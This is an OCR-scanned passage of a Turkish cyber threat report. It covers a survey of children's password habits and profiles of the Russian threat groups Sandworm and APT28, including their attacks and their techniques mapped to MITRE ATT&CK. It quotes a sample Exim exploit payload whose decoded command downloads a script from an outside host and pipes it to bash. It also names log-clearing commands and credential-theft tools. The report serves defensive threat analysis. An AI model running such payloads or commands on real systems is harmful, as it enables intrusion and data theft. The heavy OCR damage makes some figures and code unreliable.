kolay bulan 6grencilerin sayisinin yizde 50’den az oldu-
gu gozlemlenmistir.

20 40 60 80 100
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Parola Davranislan
Parola Aliskanliklan

Tablo 2’de, ¢ocuklarin parola aliskanliklari gdsterilmistir.

Alinan Ceva Dogu Ortabati Gliney
P eyaletleri (%) eyaletleri (%) eyaletleri (%)

Parola degistirmek | 61,08 78,06 74,13

Parolalan gizli 92,96 97.71 08,46

tutmak

Parolalar

arkadaglar ile 22,66 39,49 44,71

paylasmak

Kullanim sonrasi 92,07 96,57 92,29

cikis yapmak

Butun Uyeliklerde

ayni parolay!

kullanmak 57,82 80,63 87,29

Tablo 2: Cocuklarin parola aliskanliklari.

Parola Olusturma ve Kaydetme

Parolalarinin nasil olusturuldugu soruldugunda, égrenci-
lerin ylizde 80’inden fazlasi okuldan verilen parolayi kul-
landigini belirtmigtir.

Alinan Ceva Dogu Ortabati Giiney
° eyaletleri (%) eyaletleri (%) eyaletleri (%)

Okuldan verilen 88,83 2 6779

parolayi kullanan

Kendi parolalarini 54,5 81,53 05,28

olusturan

Ebeveynleri

tarafindan 45,60 G 707

olusturulan

parolayi kullanan

Ebeveynleri

yardimiyla 44,25 7 6.3

olusturulan

parolayi kullanan

Tablo 3: “Parolalarinizi nasil olusturuyorsunuz?”

Ezberleyerek

Bilgisayara kay dederek

Kagida yazarak

Ebeveynlerininyardimi
ile

o

50 100 150

Gilney MOrtabati M Dogu

Sekil 21: “Parolalarini nasil hatirliyorsun?”
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Sekil 21 dgrencilerin parolalari hatirlamak icin nasil bir
yontem izledigini gdstermektedir. Yiizde 89’un lGzerinde
katiimci parolalarini ezberlediklerini belirtmigtir.

Parola Karakteristikleri

Ogrencilerin ortalama 10 karakter uzunlugunda parola-
lar olusturduklar gézlemlenmistir. Sekil 22 katiimcilarin
parola olustururken kullandiklari karakter tiplerinin dagi-
mini géstermektedir.

60

40
20 I
0 - -_— -_—
Bliyuk Harf Kuguk Harf Semboller

Rakamlar Bosluk

Karak teri

mDogu M Ortabati Giney

Sekil 22: Parolalardaki karakter tipleri (%).

Veriler incelendiginde ¢ocuklarin yetiskinler kadar genis
bir karakter araligi kullanmadigi gézlemlenmistir.

incelenen parolalarin igerigi analiz edildiginde asagidaki
tabloya ulasiimistir.

Parola Dogu Ortabati Glney
karakteristikleri eyaletleri (%) | eyaletleri (%) eyaletleri (%)
Yalnizca

kelimeden 4,29 1,25 2,56
olusan

Kelime ve diger

karakterlerin 8,85 17,76 15,81
kombinasyonlari

L] 31,64 13,08 8,12
rakamdan olusan

Diger parolalar 55,22 67,91 73,51

Tablo 4: Parolalarin igerikleri.

Tablo 3’te gérildugu Uzere cocuklarin ¢ok kiigik bir kis-
mi parolalarini yalnizca bir kelimeden olusacak sekilde
yaratmaktadir. Yaratilan parolalar genellikle ¢ocuklarin
hayatlarinin mevcut durumlarini yansitan kavramlardan
olusmaktadir. Bilgisayar oyunlari, isimler, filmler, numa-
ralar gibi detaylara parolalarda siklikla rastlanmaktadir.
“ILoveFortnite”, “PrincessFrog248” ve “Basketball1130”
gibi parolalar 6rnek olarak goésterilebilir.

Parola Gicliiltigi

Bu calismanini®™ amaci dogrultusunda cocuklarin pa-
rolalar, zxcvbn.js kullanan bir parola gicliliga oOlcerle
Olctlmistir. Bu, eslestirme Uzerine kurulu ve parolalarin
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minimum entropisini arayan agik kaynak bir aractir. zx-
cvbn.js tarafindan saglanan degerlendirmede “0” puan
100 tahmin ile bulunabilen parolalara, “4” puan da en
az 108 tahminle bulunabilen parolalara denk gelmekte-
dir. “1” puan alan érnek parolalar: “1206”, “112233",
“Game1234” olarak verilmektedir. Gugli parola (puani
“5” olan) icin ise “Love_Butter56” ve “Aiken_bacon@28”
ornek olarak goésterilmektedir.

Sonug

Cocuklarin yaslari, parola uygulamalarini ve davranislari-
ni etkiler. Daha klc¢uk ¢ocuklar, parola olusturma ve ha-
tirlama konusunda ailelerine daha fazla glvenirler. Co-
cuklarin yaglan arttikga, bu konuda ailelerinden yardim
alma oraninin azaldigi gériimektedir. Hem ebeveynler
hem de okul, ¢cocuklarin iyi parola aliskanlklari kazan-
masinda buyuk rol oynamaktadir.

Katilimcilarin parolalari ezberleme, bir kdgida yazmayi
sinirlama, parolalarini gizli tutma ve kullanimdan son-
ra ¢ikis yapma gibi bazi iyi parola davraniglarina sahip
olduklari g&zlemlenmistir. Bununla birlikte, 6grenci-
lerin parola olustururken siklikla kisisel bilgiler iceren
s6zcukler kullandiklan gézlemlenmistir; bu, ¢ocukla-
rin parola davranisina iliskin daha az givenli bir dav-
ranistir. EK olarak, ¢ocuklarin, buytdikge parolalarini
arkadaslariyla paylasma davraniglarinin artis gésterdi-
gi gorilmastir. Bazi 6grenciler, karsilarindaki insanda
glven olusturmak ve diger telefonlardan erisimi daha
kolay hale getirmek icin parolalarini arkadaslariyla
paylagsmaktadir.

Parolalarin amaglan tartisilirken gdsterilen farkindaliga
ragmen, cocuklarin (6zellikle kiiclk yas grubunun) sec-
tikleri parolalarin zayif oldugu goérilmistir. Daha bulylk
gruplarda iyilesmeler oldugu saptanmistir. Ne yazik ki,
yetiskinler de zayif ve tahmin edilmesi kolay parolalar
olusturmaktadir™ 1151 [161. [17). [18]. [19] - Genel olarak, yetis-
kinler de 6zellikle ydnetmeleri gereken cok sayida pa-
rola olduguP® P g6z énline alindiginda, hatirlamasi ko-
lay ve tahmin edilmesi zor™ parolalar olusturmayi zor
bulmaktadirlar.

Parolalarin 6neminin c¢ocuklar tarafindan anlasiimasi
icin, dzellikle daha kiiglk yas grubundaki cocuklarin pa-
rolalari nasil anladiklari ve kullandiklari incelenmelidir. #4
Cocuklara, guglu parola gereksinimi ve bu gereksinimin
nedenleri konularinda rehberlik edilmelidir. Parola saye-
sinde neyin korundugu, neden gugli parolaya ihtiyag
duyuldugu ve uygun bir parolanin nasil olusturulacagi
konusunda cocuklara ve genclere rehberlik etmek fay-
dali olacaktur.
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5. Sandworm Tehdit Aktori Raporu

Sandworm (diger adiyla Black Energy, TeleBots, Elect-
rum, Quedagh, Iron Viking, Voodoo Bear), yaklasik ola-
rak 2009 yilindan beri Rusya’nin Silahli Kuvvetler Ge-
nelkurmay Baskanligina bagl istihbarat Teskilati (GRU)
ile iliskili oldugu gdérulen Rus asilli bir tehdit grubudur.
Grup, Aralik 2015 ve Aralik 2016 tarihlerinde Ukrayna
elektrik sirketlerine kargi diizenledigi saldirilarin yaklasik
225.000 kigiyi etkileyen elektrik kesintilerine yol agma-
slyla Gnlenmigtir.

%andWorm

SandWorm, givenlik topluluklarinda yeni bilgiler yayin-
landikga siirekli olarak gelistirdigi birgok 6zel gelistirilmis
araca sahiptir.

ABD Adalet Bakanligi 19 Ekim 2020 tarihinde paylastig
bir haberde Rus Askeri istihbarat Teskilatt GRU’da birim
74455’te calisan alti subay hakkinda siber suglara karis-
tiklari gerekcesiyle iddianame hazirlandigini agiklamigtir.

Yuriy Sergeyevich Andrienko (HOpun Cepreesuy
AHOPVEHKO)

Sergey Vladimirovi¢ Detistov (Ceprein Bnagummnposny
[eTtucTos)

Pavel Valeryevich Frolov
®ponos)

Anatoliy Sergeyevich Kovalev (AHaTonuin Cepreesuy
KoBanes)

(MaBen BanepbeBny

Artem Valeryevich Ochichenko (Aptem Banepbesuy
OunyeHko)

Petr Nikolayevich Pliskin
MAvckuR)

(Metp  Hwukonaesn4

Bu alti subay, bireysel olarak bilgisayar dolandiriciligi ve
koétlye kullanimi, elektronik dolandiricilik, korumali bil-
gisayarlara zarar verme ve agirlastinimis kimlik hirsizhg
suglarindan sorumlu tutulmustur. Alti kisiden besi, acik
bir sekilde bilgisayar korsanhigi araclarn gelistirmekle
suclanirken, Ochichenko, 2018 Kis Olimpiyatlari’na yo-
nelik spearphishing saldinlarina katiimak ve Gurcistan
Parlamentosunun resmi domain alanina saldirmaya ca-
ismak ve teknik kesif yapmakla suclanmistir'.

1  https://www.justice.gov/opa/pr/six-russian-gru-officers-charged-connection-worldwide-deployment-destructive-malware-and
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Sandworm Tehdit Aktorii Etkinliginin Zaman
Cizelgesi

1. 2007 - 2014

ilk olarak 2007 yilinda DDoS saldirilarini yiriitmek ama-
ciyla botnet’ler olusturmak icin bir arac takimi olan
“BlackEnergy (BE)” aracini tasarlayan grup, zaman geg-
tikce ihtiyaglarn dogrultusunda bu araci giincellemigtir.
ilk versiyonu BE1 olarak anilan aracin BE2 ve BE3 ver-
siyonlari bulunmaktadir. BE1 kullanilan siber saldirilarin
yiksek profilli hedefleri arasinda, Rus-Girci Savasi’n-
dan Ug¢ hafta 6énce Gircistan’daki bir Norveg bankasi
ve hikimet web siteleri yer almigtir. Ayrica BE1 araci,
Ukrayna’ya karsi gerceklestirilen elektrik kesintisi saldi-
nsinda kullaniimis olup Ukrayna Hukimeti de béyle bir
saldirnnin gergeklestigini dogrulamistir?.

2008 yilinda yeniden yazilan ve BlackEnergy’nin ikinci
sirimid olan BE2, koruyucu bir katman, bir cekirdek
modlu (Kernel Mode) rootkit ve modduler bir mimari su-
nan eksiksiz bir kod pargasi olarak bilinmektedir.

2014 yilinda yeniden bir gtincelleme alan arag, BE3 ola-
rak isimlendirilmigtir. Aracin en temel kullanim amaci
zararlilan e-posta yolu ile hedef sisteme yollamak, yani
hedef odakl kimlik avi (spearphishing) yapmaktir. Bunu
ise zararl makrolar eklenmis Microsoft Word veya Excel
dokimanlar, zafiyet eklenmis RTF dokimanlari, ger-
cek olmayan Java glncellemeleri, zafiyetli TeamViewer
yukleyicisi veya sifirnci giin zafiyeti (Zero Day Exploit)
CVE-2014-4114 bulunan PowerPoint dokimanlari gibi
zararlilarla gerceklestirmislerdir.

1. 2015 - 2018

2015 yilinda, U¢ bolgesel Ukrayna elektrik dagitim sirketi
bir siber saldin nedeniyle elektrik kesintileri yasamistir.
Ukraynali kaynaklar, sistemlerinde BE3 zararli yazilimi
bulundugunu bildirmistir. Ayrica hem kontrol hem de
kontrol digi sistem bilgisayarlarini devre disi birakmak
icin kullanilan “killdisk” adli bir modalin bulundugu bil-
dirilmistir. Ayni zamanda, saldirganlar kamu hizmeti ¢cag-
rn merkezlerini otomatik telefon cagrilariyla mesgul edip,
kamu hizmetlerinin musterilerden kesinti raporlar alma-
sinl engellemis ve kamu gérevlilerinin midahale ¢abala-
rini bosa cikarmistir. Saldindaki temel hedef ICS/SCADA
sistemleridir.

Saldirganlar, hedefli kimlik avi e-postalari, BE3 zararli
yazihminin cgesitlerini ve zararli yazilim iceren Microsoft
Office belgeleri gibi saldin vektorlerini elektrik sirketle-
rinin bilgi teknolojisi (BT) aglarina erisim saglamak igin
kullanmiglardir. ICS/SCADA agina erisim elde etmek icin
kimlik bilgilerini ele gecirmiglerdir. Ek olarak, yalnizca
aga bagli altyapida degil; kesintisiz gli¢c kaynaklari (UPS)

2 https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy
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gibi, ICS’lerin denetleyici kontrol sistemlerinde calistiril-
masinda da yetenekleri oldugunu gdstermislerdir®.

Sekil 23: Ukrayna Elektrik Kesintisi Saldirisinin Genel $Semasi.

Enerji alanindaki bu saldirinin ardindan grup, 2017 yilinda
Fransa bagkanlik segimleri ve Fransa yerel segimlerinin
kampanyalari da dahil olmak Uzere siyasi partileri de he-
def alan bir dizi hedef odakl kimlik avi (Spearphishing)
kampanyalarindan sorumludur. Fransa’nin Ulusal Bilgi
Sistemleri Givenlik Ajansi olan ANSSI, hazirladi§i rapor-
da saldirganlarin erisim saglamak icin PA.S adli webshell
ve Exaramel adli zararl yazihmi (malware) araciligiyla iki
arka kapi (Backdoor) kullandiklarini belirtmistir. ESET
arastirmacilarina gére kullanilan Exaramel zararlisi, Uk-
rayna elektrik sirketlerine yapilan saldinda kullanilan
zararl ile iligkilendirilmistir. Saldirganlarin bilgi teknoloji-
leri (IT) izleme araci olan Centreon Uzerindeki zafiyetleri
sémiurerek 2017 yilindan 2020 yilina kadar izinsiz giris
sagladiklar kaydedilmistir. Bu slrecte, lizerinde Centre-
on kurulu olan giivenligi ihlal edilmis sunuculardan veri
sizdirdiklari bildiriimigtir.

SandWorm ekibinin Haziran 2017 tarihinde dinya ca-
pinda baslattigi bir saldirnda kullanilan NotPetya zararli
yazilimi, 0 zamana kadarki en yikici etkiye sahip zararli
yazilim olarak anilmaktadir. NotPetya bir tir fidye yazili-
mi olarak gériinse de asil amaci, guvenligi ihlal edilmis
sistemlerdeki verileri ve disk yapilarini yok etmektir.

. 2018 - Giiniimiiz

SandWorm, Rus Huikimeti tarafindan desteklenen bir
doping cabasinin Rus sporcularin Rus bayragi altinda
katilamamasina yol agmasinin ardindan 2018 Kis Olim-
piyatlar’na yodnelik saldirilar baslatiimistir. Saldirganlar
olimpiyatin acilis térenini hedef almis ve kendilerini Ku-
zey Koreli ve Ginli bilgisayar korsanlari gibi gésterme-
ye calismiglardir. Saldirinin GRU tarafindan planlandigi
ve klresel ¢apta bir etki birakabilmek icin birden fazla
APT grubunun birleserek “Olympic Destroyer” adll za-
rarl yazilmi olusturdugu dastndimektedir. Kis olimpi-
yatlarindaki saldirnnin detaylari incelendiginde, Olympic

3 https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2016/05/20081514/E-ISAC_SANS Ukraine DUC 5.pdf
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Destroyer zararli yaziiminin, Olimpiyatlarin resmi web
sitesini ve stadyumdaki Wi-Fi baglantisini kapattigi ve
etkinligin canh yayinlarini etkiledigi gortlmastir. Zararl
yazilimin icinde bilerek birakilmis olan dijital parmak izle-
ri sayesinde, yapilan ilk incelemeler sonucu bu zararlinin
Kuzey Koreli “Lazarus APT” grubuna ait oldugu sanil-
mistir. Daha detayli incelemeler sonucunda ise yine GRU
destekli bir APT olan APT28, bir diger adiyla “Fancy
Bear”, grubuna ve SandWorm grubuna ait dijital parmak
izleri bulunmustur. APT28, GRU tarafinda birim 26165
olarak taninmaktadir. Bu birliktelik, Rus Hukimeti des-
tekli APT gruplarinin kiresel saldinlar amaciyla birlikte
calisabilecegini gostermektedir. Bundan dolayr GRU ile
temas halindeki APT gruplarinin birbirlerinden tamamen
bagimsiz gruplar olduklarini disiinmemek gereklidir.

4

Initial Dropper

Copy K i'
.E ? e

Copy of
Audd iti | :
F Initial Dropper | Use login
Create | credential

Windews Cradential Browser Cradential
Stealer Stealer

PsExec Tool Wiper

Login Credential

Sekil 25: Olympic Destroyer bilesenlerinin iligkileri.

2020 yilinda grup, Exim posta sunucularini agiga ¢gikarmak
icin kritik bir Exim zafiyetinden (CVE-2019-10149) yarar-
lanmigtir. Exim, Unix tabanli sistemler igcin yaygin olarak
kullanilan ve baz Linux dagitimlarinda énceden yuklen-
mis olarak gelen bir posta aktarim aracisidir (Mail Transfer
Agent). internete acik sunucularin yarisindan fazlasinda
kullaniliyor olmasi ylizinden en yaygin posta aktarim ara-
cl olarak bilinmektedir. Zafiyetin varligi, Exim Uzerinde bu-
lunan CVE-2019-10149 uzaktan kod yUriitme zafiyeti (Re-
mote Code Execution) kapatildiktan sonra agiklanmistir.
Ardindan saldirganlar, bu zafiyeti Linux sunucularinda veri
sizintisina sebep olmak ve sunucular Uizerinde kripto para
madenci programlari (Cryptocoin Miners) kurmak igin kul-
lanmistir. Bu glivenlik acigindan basariyla yararlaniimasi,
kimligi dogrulanmamis bir uzak saldirganin admin yetki-
siyle komut ylratmesine ve yazilim yuklemesine, verileri
degistirmesine ve 6zel hazirlanmis e-posta géndererek
yeni hesaplar olusturmasina olanak tanimaktadir.

Sekil 26’da gbénderilen 6rnek payload iginde script1.sh
dosyasinin indiriimeye calisildigi gorilmektedir.

MATL FROM:<%{run{\x2Fbin\x2Fsh\t-
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Zararh Shell dosyasi galistirldi§i zaman, guvenligi ihlal
edilmis sunucu uzerinde MySQL veritabanlarina erisim
saglamak icin gesitli komutlar ¢alistirmaktadir. Buna ek
olarak arka kapi yukleyen dosya, kesif yapma, e-posta
verisi sizdirma, yatay genisleme ve ekstra zararli yazihm-
lar ylkleme gorevini Ustlenmektedir.

MITRE ATT&CK Framework

MITRE ATT&CK, énerilen azaltma teknikleri, tespit pro-
sedurleri ve diger dnemli teknik bilgileri saglayan hem
derinlik hem de genislik bakimindan en buyik siber sal-
dint bilgi tabanidir. MITRE, Siber Oltim Zinciri’ni (Cyber
Kill Chain), ayrintili tekniklerle desteklenen en genis tak-
tik cesitliligini icerecek sekilde genigletmistir. Bu organi-
ze yaklasim, saldirilarin sistematik olarak segilip analiz
edilmesine ve aciklar anlayabilmek igin bunlarin gtiven-
lik kontrollerinin kapasiteleriyle karsilastirimasina olanak
tanimaktadir. Bir kez anlasildiginda, gtvenlik kontrol-
leri rasyonel bir sekilde genisletilebilmekte ve butceler
ayarlanabilmektedir.

MITRE'nin siber topluluktaki konumu ve ATT&CK mat-
risindeki fikri mulkiyetinin bagimsizligi, onu, givenlik
operasyonlari ydnetimi, Ust dlizey personel ve ydnetim
kurulunun siber givenlik kontrollerinin performansini,
risk ve kapasitesini objektif olarak degerlendirebilecegi
ve Olcebilecegdi ideal bir platform haline getirmektedir.

MITRE ATT&CK kurumsal matrisi, Windows, Mac ve Linux
ortamlarindan yararlanabilecek tim saldirgan taktikleri ve
tekniklerinin tablo halinde bir gérinimuni saglamaktadir.
MITRE ATT&CK tarafindan tanimlanan 12 taktigi listele-
yen bagliklar bulunmaktadir. 12 taktigin her birinin altinda,
belirli bir taktigi uygulamak icin kullanilabilecek dokuz ila
67 teknigi gosteren bir stitun bulunmaktadir. Cogu zaman
bir veya daha fazla taktikte birkag teknik kullaniimaktadir.
Bir taktik, saldirganin hedeflerini agikga tanimlamaktadir.
Bir teknik, bir siber saldirganin taktigin nihai hedeflerine
ulasmasinin farkli yollarini tanimlamaktadir.

Tehdit Analizi
Taktik, Teknik ve Prosediirler

Sandworm tehdit aktdrt grubu ile ilgili tespit edilen
Taktik, Teknik ve Prosedir (TTP) kategorileri asagidaki
gibidir:

cho\x22exec\x20\x2Fusr\x2Fbin\x2Fuget\x20\ 2200\ 220\ 22D\ x20htep\ : \x2F\x2F\hostapp.be\x2Fscriptl. sh\x20\x7C\

x20bash\x22} |@hostapp.be>

Hex decoded command:

/bin/sh -c "exec /usr/bin/wget -0 - http://hostapp.be/scriptl.sh | bash™

Sekil 26: NSA tarafindan paylagilan érnek sdmurt komutu.
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ilk Erisim

Spearphishing kampanyalari, SandWorm grubu tarafin-
dan bilgisayarlara veya hesap kimlik bilgilerine erismek
icin en cok kullanilan metottur. E-postalar, tanidik ve gu-
venilir gérinmek icin 6zel olarak hazirlanmakta olup kur-
banin siphelenmemesi amaglanir. Tehdit grubu, basari
sanslarini artirmak icin kampanyalarini gerceklestirmeden
6nce tum spearphishing tekniklerini gelistirip test etmek-
tedir. Ukrayna elektrik kesintisi, Fransa sec¢imleri ve Kig
Olimpiyatlan saldirilarinda bu metodu kullanmiglardir.

Ayrica, Ucretsiz bir sekilde hedefe ait domain’leri ve site-
leri cesitli programlar sayesinde arastirmiglardir. Bunlara
ek olarak zafiyet taramasi, hedef sistemlerde kullanildigi
bilinen programlarin incelenmesi, ¢alisan isim ve e-pos-
talarinin kesfedilmesi, hedef organizasyonun is ortaklari-
nin incelenmesi gibi yollara bagvurmusglardir.

Calistirma (Execution)

Bu asamada grup, savunma mekanizmalarindan kagin-
mak amaciyla bellek Uzerinde kimlik bilgisi toplayan bir
araci galistirmak igin PowerShell komut dosyalari kullan-
mistir. SSH sunucu kurmak igin VBScripts kodu olustu-
ran grubun, MS-SQL veri tabani Gizerinde “xp_cmdshell”
komutunu da calistirdig bilinmektedir.

Komut arayldzinin disinda, kullanicilarin tetikleyece-
gi sekilde zararli yaziim c¢alistirmaktadir. Bunlara rnek
olarak spearphishing saldirisiyla génderilen ve zarar-
Il makrolar barindiran Microsoft dosyalar ve oltalama
e-postalarina eklenmis ve zararl yazilm igceren adreslere
kopruler (hyperlinks) verilebilir.

Kalicihik

Sizilan sistemlerde kalicihigr saglamak igin grubun, olus-
turulan bir hesap ile agdaki diger sunucular arasinda bir
baglanti olusturmak icin MS-SQL’de “sp_addlinkedsrv-
login” komutunu kullandigi goriimuistir. Ayrica sizilan
ICS/SCADA erisim sunucularinda yeni etki alani hesap-
lari (Domain Accounts) olusturmustur. PA.S web kabugu
dahil olmak Uzere cesitli web kabuklarini kurban aglarina
erisimi strdtrmek icin kullanmigtir.

Ayricalik Yiikseltme

Grubun Urettigi NotPetya zararlisinda kullanilan teknik
olan ve sizma igleminden bir saat sonra sistemi yeniden
baslatmak igin bir gérev olusturma, bu kategoriye érnek
olarak verilebilir.

Ek olarak, NotPetya zararlisinin kendisini uzak sistemlere
yaymak igin “PsExec” veya “wmic” komutlariyla gecer-
li kKimlik bilgilerini kullanmasi da ayricalik ylkseltme igin
bagvurulan bir tekniktir. Grubun genel olarak kullandigi
bir diger teknik ise, domain igindeki yonetici hesaplarina
erismek i¢in ¢calinan kimlik bilgilerini kullanmaktir.
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Savunmadan Kaginma

Saldirganlar karistinlmis (obfuscated) dosyalari veya bil-
gileri, izinsiz giris sirasinda biraktiklari kalintilar glvenlik
analistlerinden gizlemek igin kullanabilmektedir. Savun-
ma mekanizmalarindan kaginmanin bir yolu olarak kul-
lanilan bu metotta saldirganlar zararli yazihmlar veya
yikleri sifrelenmis olarak génderip daha sonra sifrelerini
¢c6zmektedir.

SandWorm grubunun kullandigi genel savunmadan ka-
¢inma teknikleri sunlardir:

Grubun kullandigi VBS adli arka kapi 6rneginde,
Base64 ile kodlanmig zararllarin kodunu c¢ézup
“%TEMP%” klas6érine kaydedilmigtir. Ayrica grup,
elde edilen bilgilerin sifresini Uclii DES algoritmasi
kullanarak kinp Gzip programi ile sikistinlmig veriyi
cikartmistir.

Savunmadan kaginmanin bir bagka yolu ise Windows
olay ginligini (Windows Event Logging) devre disi
birakmaktir. SandWorm ekibi, bu teknigi Ukrayna
Elektrik Kesintisi saldirisinda kullanmistir.

Grubun zararli dosyalarin isimlerini stiphe ¢ekme-
yecek sekilde olusturdugu ve kullandigi arka kapilar
sayesinde, enfekte edilen sistemlerde kullandigi bu
zararl dosyalar daha sonra sildigi bilinmektedir.

Saldirganlarin kodlari gizlemek icin zararli program-
lar paketledigi veya sanal makine yazihm korumasi
uyguladigi bilinmektedir. Calistirilabilir programlar
paketlemenin avantaji, imza tabanl kurallarin tespi-
tinden kacinmaktir. Sanal makine yazihm korumasi
ise bir yUrutulebilir dosyanin orijinal kodunu yalniz-
ca 6zel bir sanal makinenin calistirabilecegi 6zel bir
bicime dénustirmektedir. Daha sonra bu kodu ¢a-
istirmak icin bir sanal makine cagrilmaktadir. Yazilim
paketleyicilere drnek olarak MPRESS ve UPX verile-
bilir. SandWorm grubu ise Mimikatz’in bir kopyasini
paketlemek icin UPX’i kullanmigtir.

Kimlik Bilgileri Erigimi

Grubun kullanicilann kimlik bilgilerine erismek icin kaba
kuvvet (brute force) saldirilarinin metotlarindan parola
puskirtme (password spraying) yéntemini kullandigi bi-
linmektedir. Bu ydntemde domain’e ait parola politikasi
mevcut ise ona uygun olacak sekilde en ¢ok kullanilan
parolalardan olusturulmus kigik bir parola seti olustu-
rulur. Ancak, saldinlan hesabin kaba kuvvetle zorlanmasi
sirasinda normalde meydana gelebilecek hesap kilitlen-
melerini dnlemek igin bu parola listesiyle agdaki bircok
farkl hesapta oturum agmayi denedikleri bilinmektedir.
SandWorm grubu ise bilgisayarlara karsi RPC kimlik dog-
rulamasini denemek icin bir komut dosyasi kullanmigtir.

Grubun internet tarayicilarindaki kaydedilmis paro-
lalar toplamak icin gelistirdigi “CredRaptor” adli bir
aracl mevcuttur.

SIBER TEHDIT DURUM RAPORU
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Windows sistemlerde “SetWindowsHookEx” fonksi-
yonunu kullanarak tus vuruslarini yakalamak igin bir
keylogger kullanmislardir.

Grubun “plainpwd” adli aract Mimikatz’in gelistiriimis
bir sGrimudir ve Windows kimlik bilgilerini sistem
belleginden ¢ekmektedir.

Kesif

Grubun sizilan sistemlerde kesif yapmak icin kullandig
yéntemler sunlardir:

LDAP kullanarak uzak sistemlerde Active Dire-
ctory igindeki hesaplarn sorgulamak igin araclar
kullanmiglardir.

M.E.Doc sunucularindaki kullanici adlari ve parolalar
dahil olmak Uzere e-posta ayarlarini listelemek igin
zararll yazihm kullanmislardir. Bu teknigi ilk olarak
Ukrayna’ya karsi baglatilan siber saldirida NotPetya
zararl yazilimiyla uygulamiglardir.

Guvenligi ihlal edilmis bilgisayarlardaki dosyalari
numaralandirmiglardir.

Ag trafigindeki parolalar sizdirmak icin intercep-
ter-NG aracini kullanmiglardir.

Guvenilirligi  ihlal edilmis sistemlerin igletim sis-
temi hakkindaki bilgileri toplamak icin arka kapi
kullanmiglardir.

Sizilan sistemlerde, agdaki diger kaynaklara baglanti
olup olmadigini kontrol etmislerdir.

Sizilan sistemdeki kullanici isimlerini toplamiglardir.

Yanal Hareket

SandWorm grubu, Ukrayna elektrik kesintisi saldirisi si-
rasinda agdaki diger cihazlara zararli yazilm ve dosya
aktarimi yapmak i¢in “move” ve “net use” komutunu
kullanmistir.

Toplama

Saldirganlar, sizdirma éncesinde ilgili dosyalar ve has-
sas verileri bulmak i¢in dosya sistemleri veya yerel veri-
tabanlari gibi yerel sistem kaynaklarini arayabilmektedir.
SandWorm Grubu ise bu baghga 6rnek olarak, givenligi
ihlal edilmis bilgisayarlardan dahili belgeler, dosyalar ve
diger verileri sizdirmigtir. Buna ek olarak, giris sayfalari,
portallar veya sistem diyalog ekranlar gibi kullanici adi
ve parolasi girilen yerlerden veri cekmiglerdir.

Disan Sizdirma

Grup, sistemlerden elde ettikleri bilgileri komuta kontrol
sunucusu araciligiyla sizdirmigtir.
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Komuta Kontrol (C2)

Grubun BCS-server araci, belirlenen komuta kontrol (C2)
sunucusuna HTTP araciligiyla baglanir. Ayrica bu arag, ile-
tisim igin base64 kodlama ve HTML etiketlerini (Tag) kul-
lanmustir. Grup, Python ile hazirladiklar arka kapilya komut
goéndermek ve almak icin Telegram Messenger’in Teleg-
ram Bot API’sini kullanmistir. Ayrica, “putdrive.com” ser-
visinden zararll dosya ve yUkleri géndermek ve almak igin
M.E.Doc yaziliminin resmi bir giincellemesini kullanmistir.

Etki

SandWorm grubu, Windows tabanli insan-Makine ara-
ylzlerindeki dosyalari silmek amaciyla disklerin Uzerine
yazmak igin ve sistemlerdeki ana dnylkleme kayitlarini
bozmak igin BlackEnergy yaziiminin KillDisk aracini kul-
lanmistir. Bundan dolayi yikici bir grup olarak aniimak-
tadir. Grubun bir diger etkisi site tahrifati (defacement)
yapmaktir. Bu teknikte hedef site veya sayfanin goérsel
gbrinimu degistirilir. Genel olarak politik amaclar giiden
APT gruplar ve siyasi mesajlar vermek veya propagan-
da yaymak isteyen hacktivistler tarafindan tercih edilir.
SandWorm grubu 2019 yilinda bu yéntemi Gircistan’da
hikimet, sivil toplum kuruluslar ve ézel sektér kurulus-
larina ait 15.000 web sitesi Uzerinde kullanmigtir. Ayrica
istismar ettikleri bir servis saglayicisi sayesinde web si-
telerine verilen hizmeti gecici olarak kesintiye ugratmistir.

6. APT28 Fancy Bear Tehdit Aktoérii Raporu

APT28 (diger adiyla Fancy Bear, Sofacy, Pawn Storm, Sed-
nit, SNAKEMACKEREL, Swallowtail, Group 74, STRON-
TIUM, Tsar Team, Threat Group-4127 veya TG-4127),
yaklagik 2004'ten beri Rusya’nin Askeri istihbarat M-
dirliginin (GRU) 85’inci Ana Ozel Hizmet Merkezi (GT-
sSS) askeri birimi 26165’e atfedilen bir tehdit grubudur*®.
APT28’in, 2016 yilinda yapilan ABD bagskanlik secgimlerine
mudahale etmek amaciyla Hillary Clinton kampanyasi,
Demokratik Ulusal Komite ve Demokratik Kongre Kam-
panya Komitesi igin tehlike olusturdugu tespit edilmistirs.

4  https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA GRU GLOBAL BRUTE FORCE CAMPAIGN UOO158036-21.PDF

5 https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA DROVORUB RUSSIAN GRU MALWARE AUG 2020.PDF

6 https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
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ABD ve Avrupa’daki mevcut ve eski askeri ve hikimet
yetkililerine, savunma ve hikimet tedarik zincirinde ¢a-
lisan kigilere, yazar ve gazetecilere ait e-posta hesapla-
r ile Kasim 2016 ABD baskanlk segimleriyle baglantili
e-posta hesap bilgilerini ele gegirdikleri ve bu adreslere
yonelik hedef odakl kimlik avi (spearphishing) kampan-
yalarindan sorumlu olduklari tespit edilmistir. 2016 ABD
baskanlik segimleri dncesinde APT28’in, X-Agent koétl
amaglh yazihmini uzaktan komut calistirma, keylogging
ve dosya iletimi gibi islemleri gergeklestirmek amaciy-
la hedeflere dagittigi tespit edilmistir. (rundlli32.exe “C:\
Windows\twain_64.dll”) gibi komutlarla bahsi gecen
islemlerin yUritildagi tespit edilmistir. NAT tabanli or-
tamlara baglantilan kolaylastirmak ve uzaktan komut
calistirmak igin APT28’in X-Tunnel ag tlinelleme aracinin
kullanildigl, her iki aracin da GitHub’dan temin edilebilen
PsExec’in agik kaynakli bir yedegi olan RemCOM ara-
cihgiyla dagitildigi tespit edilmistir. Ek olarak, periyodik
olay gunligu temizleme (wevtutil cl System ve wevtutil
cl Security komutlar gibi) ve dosyalarin tarih bilgilerini
sifirlama gibi bir dizi adli bilisim karsiti 6nlem aldiklar
tespit edilmistir. APT28 gelismeye devam etmekte ve
yeni taktik, teknik ve prosedrlerin (TTP’ler) kullanimini
gOstermektedir.

APT28, glvenlik topluluklarinda yeni bilgiler yayinlandik-
ca sUrekli olarak gelistirdigi bircok 6zel gelistiriimis araca
sahiptir. Bu ara¢ seti temel olarak kurbanin makinesine
arka kapi (backdoor) kalici erisim saglamaya, ayrica bil-
